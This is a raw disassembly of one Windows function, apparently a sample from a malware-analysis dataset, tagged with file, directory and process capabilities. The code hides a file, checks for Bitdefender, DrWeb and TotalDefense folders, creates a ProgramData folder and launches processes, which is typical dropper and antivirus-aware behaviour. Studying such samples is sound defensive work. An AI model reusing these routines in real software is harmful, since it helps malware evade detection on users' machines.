Function at 0x140003a70
Capabilities:
Check if file exists
Create directory
Create process on windows
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x14005a0a0]
xor rax, rsp
mov qword [rbp + 0x390], rax
lea r8, str.Skidac_c6H2QYmn6d
xor edx, edx
mov r12d, 2
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_OpenEventW]
test rax, rax
je 0x140003ad3
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140003f42
lea r9, str.Skidac_c6H2QYmn6d
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r15, rax
test rax, rax
jne 0x140003b10
lea r9d, [rax + 0x10]
lea r8, str.Error
lea rdx, str.Unable_to_run_application._Try_again.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140003f40
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x280]
call fcn.14000ad50
lea r14, [0x14005cbb0]
mov rdx, r14
cmp qword [0x14005cbc8], 0x10
cmovae rdx, qword [0x14005cbb0]
mov r8d, r12d
lea rcx, [rbp + 0x280]
call fcn.1400062c0
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x280], r13
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x27c], edx
mov ebx, 6
cmp qword [rbp + 0x308], 0
je 0x140003c01
lea rdx, [0x14005cc10]
cmp qword [0x14005cc28], 0x10
cmovae rdx, qword [0x14005cc10]
mov r8, qword [0x14005cc20]
lea rcx, [rbp + 0x280]
call fcn.1400035b0
lea rcx, [rbp + 0x288]
call fcn.1400061c0
test rax, rax
jne 0x140003c01
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
mov eax, ebx
cmp qword [rbp + rcx + 0x2c8], 0
cmovne eax, r12d
or eax, dword [rbp + rcx + 0x290]
and eax, 0x17
mov dword [rbp + rcx + 0x290], eax
and eax, dword [rbp + rcx + 0x294]
jne 0x1400043bf
mov rcx, r14
cmp qword [0x14005cbc8], 0x10
cmovae rcx, qword [0x14005cbb0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140003c3d
or eax, 2
mov rcx, r14
cmp qword [0x14005cbc8], 0x10
cmovae rcx, qword [0x14005cbb0]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, str.C:Program_FilesBitdefender
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140003c53
test al, 0x10
jne 0x140003c87
lea rcx, str.C:Program_FilesDrWeb
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140003c69
test al, 0x10
jne 0x140003c87
lea rcx, str.C:Program_FilesTotalDefense
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140003f72
test al, 0x10
je 0x140003f72
call fcn.1400044d0
mov rbx, rax
mov rcx, rax
call fcn.140005d00
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xor edi, edi
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], rdi
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], dil
jne 0x140003cc0
mov rdx, rbx
lea rcx, [rbp + 0x1c0]
call fcn.140003190
nop
lea r8, [rbp + 0x1c0]
lea rdx, [0x14005cbf0]
lea rcx, [rbp + 0x1e8]
call fcn.140006900
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x140003d35
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004415
call fcn.140008890
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], 0
mov rcx, qword [rbp + 0x1f8]
inc rcx
mov rax, r12
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.140008c90
mov rbx, rax
lea r8, [rbp + 0x1e8]
cmp qword [rbp + 0x200], 0x10
cmovae r8, qword [rbp + 0x1e8]
mov ecx, dword [rbp + 0x1f8]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
mov dword [rbp + 0x24c], 1
mov word [rbp + 0x250], di
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.140008890
nop
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
jb 0x140003e9d
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000441b
call fcn.140008890
lea rdi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
lea rbx, vtable.std::ios_base.0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [0x14005cbc8], 0x10
cmovae r14, qword [0x14005cbb0]
mov rcx, r14
call fcn.140010ab0
nop
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x280], r13
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x27c], edx
lea rcx, [rbp + 0x288]
call fcn.1400055e0
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x280], rdi
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x27c], edx
mov qword [rbp + 0x328], rbx
lea rcx, [rbp + 0x328]
call fcn.140007ba0
nop
xor eax, eax
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.140008870
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor edx, edx
lea rcx, str.C:ProgramDataDefendSecurity
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140003f8b
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xb0]
call fcn.14000ad50
lea rcx, [rbp + 0xb0]
call fcn.1400048b0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x60]
call fcn.14000ad50
lea rdx, [0x14005cbd0]
cmp qword [0x14005cbe8], 0x10
cmovae rdx, qword [0x14005cbd0]
mov r8d, 0x20
lea rcx, [rbp - 0x60]
call fcn.1400062c0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], r13
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x64], edx
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xc0], 6
jne 0x140004036
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x50], 6
jne 0x140004036
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x60]
call fcn.140005690
lea rcx, [rbp + 0xc0]
call fcn.1400061c0
test rax, rax
jne 0x14000407f
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
mov eax, ebx
cmp qword [rbp + rcx + 0xf8], 0
cmovne eax, r12d
or eax, dword [rbp + rcx + 0xc0]
and eax, 0x17
mov dword [rbp + rcx + 0xc0], eax
and eax, dword [rbp + rcx + 0xc4]
jne 0x140004421
lea rcx, [rbp - 0x58]
call fcn.1400061c0
test rax, rax
jne 0x1400040b4
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx - 0x18], 0
cmovne ebx, r12d
or ebx, dword [rbp + rcx - 0x50]
and ebx, 0x17
mov dword [rbp + rcx - 0x50], ebx
and ebx, dword [rbp + rcx - 0x4c]
jne 0x140004473
call fcn.140004620
mov rbx, rax
mov rcx, rax
call fcn.140005ab0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xor edi, edi
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], rdi
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rbx + r8], dil
jne 0x1400040e0
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.140003190
nop
lea r8, [rsp + 0x78]
lea rdx, [0x14005cbd0]
lea rcx, [rbp + 0x1c0]
call fcn.140006900
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14000414c
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004147
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400044c7
call fcn.140008890
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rcx, qword [rbp + 0x1d0]
inc rcx
mov rax, r12
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.140008c90
mov rbx, rax
lea r8, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0x10
cmovae r8, qword [rbp + 0x1c0]
mov ecx, dword [rbp + 0x1d0]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
movups xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x1f8], rax
mov dword [rbp + 0x24c], 1
mov word [rbp + 0x250], di
lea rax, [rbp + 0x1e8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.140008890
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x1400042ba
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400042b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400043b9
call fcn.140008890
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], 0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], r13
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x58]
call fcn.1400055e0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rdi
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x64], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x48], rbx
lea rcx, [rbp + 0x48]
call fcn.140007ba0
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xc0]
call fcn.1400055e0
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0xac], edx
mov qword [rbp + 0x160], rbx
lea rcx, [rbp + 0x160]
call fcn.140007ba0
nop
jmp 0x140003eab
call fcn.14000fc3c
nop
test al, 4
je 0x1400043cc
lea rbx, str.ios_base::badbit_set
jmp 0x1400043e0
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001a30
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x1c0]
call fcn.140002220
lea rdx, [0x140058918]
lea rcx, [rbp + 0x1c0]
call fcn.14000a5d4
nop
call fcn.14000fc3c
nop
call fcn.14000fc3c
nop
test al, 4
je 0x14000442e
lea rbx, str.ios_base::badbit_set
jmp 0x140004442
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001a30
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140002220
lea rdx, [0x140058918]
lea rcx, [rsp + 0x50]
call fcn.14000a5d4
int3
test bl, 4
je 0x140004481
lea rbx, str.ios_base::badbit_set
jmp 0x140004496
test bl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001a30
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140002220
lea rdx, [0x140058918]
lea rcx, [rsp + 0x50]
call fcn.14000a5d4
nop
call fcn.14000fc3c
int3